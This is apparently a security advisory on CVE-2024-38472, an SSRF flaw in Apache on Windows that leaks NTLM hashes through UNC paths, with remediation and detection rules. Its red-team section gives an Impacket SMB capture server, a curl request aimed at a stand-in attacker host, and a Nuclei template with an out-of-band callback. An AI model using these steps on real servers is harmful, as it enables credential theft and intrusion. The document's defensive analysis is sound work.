CVE-2024-38472

Executive Summary

CVE-2024-38472 is a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows. An attacker can exploit this flaw to force the server to make requests to arbitrary Universal Naming Convention (UNC) paths, potentially leaking NTLM hashes to a malicious server. This can lead to credential theft and lateral movement within a Windows domain. The vulnerability is rated High with a CVSS score of 7.5. A public proof-of-concept (PoC) exists, and exploitation is straightforward. The fix is available in Apache HTTP Server version 2.4.60, which introduces the UNCList directive to restrict UNC path access.

Supply Chain & Package Security

This vulnerability affects the Apache HTTP Server software package distributed for Windows. Organizations using Apache on Windows should treat this as a critical supply chain risk, as exploitation can lead to the compromise of Windows domain credentials. The patch is delivered via a software update; no package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the low complexity, no required privileges, and the potential for credential theft (NTLM hash leakage). The EPSS score of 0.90555 (99.6th percentile) indicates a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in how Apache HTTP Server on Windows handles UNC paths in requests. When a request contains a UNC path (e.g., \\server\share), the server attempts to access that path. An attacker can craft a request with a malicious UNC path pointing to an attacker-controlled server. The server will then attempt to authenticate to that server using NTLM, leaking the NTLM hash of the Apache service account.

Root Cause: The server does not validate or restrict UNC paths before attempting to access them. This allows an attacker to force the server to initiate an NTLM authentication handshake with an arbitrary server.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable Apache server.
2. The request contains a UNC path pointing to an attacker-controlled SMB server (e.g., \\attacker.com\share).
3. The Apache server attempts to access the UNC path.
4. The Windows operating system automatically initiates NTLM authentication with the attacker's server.
5. The attacker captures the NTLM hash.
6. The attacker can then attempt to crack the hash or use it in an NTLM relay attack.

Vulnerable vs. Patched Code

Vulnerable Code (Apache < 2.4.60): The server processes UNC paths without any validation. The following pseudo-code illustrates the vulnerable behavior:

// Vulnerable: No validation of UNC path
if (is_unc_path(request_uri)) {
    // Directly access the UNC path
    access_unc_path(request_uri);
}

Patched Code (Apache >= 2.4.60): The fix introduces the UNCList directive, which defines a whitelist of allowed UNC paths. The server will only access UNC paths that are explicitly listed.

// Patched: Validate against UNCList
if (is_unc_path(request_uri)) {
    if (is_in_unc_list(request_uri)) {
        access_unc_path(request_uri);
    } else {
        // Deny access
        return 403 Forbidden;
    }
}

Configuration Example:

# Allow only specific UNC paths
UNCList "\\allowed-server\share1" "\\allowed-server\share2"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vulnerable Apache HTTP Server on Windows (version < 2.4.60)
• Attacker-controlled SMB server (e.g., using Impacket's smbserver.py or a Windows machine)
• Network connectivity between the target and attacker

Exploitation Steps:

1. Set up an SMB server to capture NTLM hashes:

   # Using Impacket
   sudo impacket-smbserver -smb2support share /tmp/smb
   

2. Send a crafted request to the vulnerable Apache server:

   curl "http://target-server/%5C%5Cattacker-ip%5Cshare%5Ctest"
   

   The URL-encoded %5C%5C represents \\.
3. The Apache server will attempt to access the UNC path, triggering NTLM authentication.
4. Capture the NTLM hash on the attacker's SMB server.

Alternative using Nuclei:

nuclei -u http://target-server -t CVE-2024-38472.yaml

Blue Team

Detection:

• Monitor for outbound SMB connections (port 445) from the Apache server to unknown IPs.
• Look for HTTP requests containing %5C%5C or \\ in the URI.
• Analyze Apache access logs for unusual UNC path requests.

Hunting:

• Search for requests with patterns like \\ or %5C%5C followed by an IP address or domain.
• Correlate with authentication logs for NTLM failures.

Lab Setup:

1. Install Apache HTTP Server 2.4.59 on a Windows VM.
2. Set up a separate Linux VM with Impacket to act as the attacker.
3. Ensure network connectivity between the VMs.
4. Execute the exploitation steps above.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound SMB connections (port 445) from the Apache server to external IPs.
  • HTTP requests containing %5C%5C or \\ in the URI path.
  • DNS queries for attacker-controlled domains from the Apache server.

• File IOCs:

  • Apache access logs showing requests with UNC paths (e.g., GET /\\attacker-ip\share).

• Authentication IOCs:

  • NTLM authentication attempts to unknown servers in Windows Security logs (Event ID 4624, 4776).

Detection Engineering

YARA Rule

rule CVE_2024_38472_SSRF_UNC {
    meta:
        description = "Detects SSRF attempts exploiting CVE-2024-38472 in Apache HTTP Server on Windows"
        author = "Valters IT"
        date = "2024-08-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-38472"
        hash = "4a0a00473045022100f58636bf43a76d953b2576251e09ac51c83221069c996740e4e297ea5f568e2b02206d728ab7a581d34c31b94b48167150e833020d8845a4cb098aca38f3c78f8d1a"
    strings:
        $unc_pattern = /%5C%5C[^&\s]+/ nocase
        $unc_raw = /\\\\[^&\s]+/ nocase
    condition:
        any of them
}

Sigma Rule

title: Apache HTTP Server SSRF UNC Path Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-38472 by sending UNC paths in HTTP requests
author: Valters IT
date: 2024-08-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38472
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - '%5C%5C'
            - '\\\\'
    condition: selection
falsepositives:
    - Legitimate use of UNC paths in internal networks (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38472 Apache HTTP Server SSRF UNC Path Exploitation"; flow:to_server; content:"%5C%5C"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-38472

info:
  name: Apache HTTPd Windows UNC - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue.  Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
  impact: |
    Attackers on Windows-based Apache HTTPd servers can exploit SSRF to potentially leak NTLM hashes to malicious servers, leading to credential theft and potential network compromise.
  remediation: |
    Upgrade to Apache HTTPd version 2.4.60 or later and configure the UNCList directive for UNC path access.
  reference:
    - https://blog.orange.tw/2024/08/confusion-attacks-en.html
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://security.netapp.com/advisory/ntap-20240712-0001/
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/Abdurahmon3236/CVE-2024-38472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38472
    cwe-id: CWE-918
    epss-score: 0.90555
    epss-percentile: 0.99617
  tags: cve,cve2024,apache,ssrf,oast,httpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "/apachehttpd"

Remediation & Mitigation

Immediate Actions:

1. Upgrade Apache HTTP Server to version 2.4.60 or later.
2. Configure the UNCList directive to explicitly allow only necessary UNC paths.

   UNCList "\\internal-server\share1" "\\internal-server\share2"
   

3. Restrict outbound SMB traffic from the Apache server using firewall rules.
4. Monitor for exploitation attempts using the provided detection rules.

Long-term Mitigations:

• Implement network segmentation to limit the impact of SSRF.
• Use application-level input validation to block UNC paths.
• Regularly update and patch Apache HTTP Server.
• Conduct security audits and penetration testing.

Workarounds (if patching is not immediately possible):

• Disable UNC path support in Apache configuration (if not needed).
• Use a reverse proxy to filter out malicious requests.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C432087F34782BCF529930D4] */}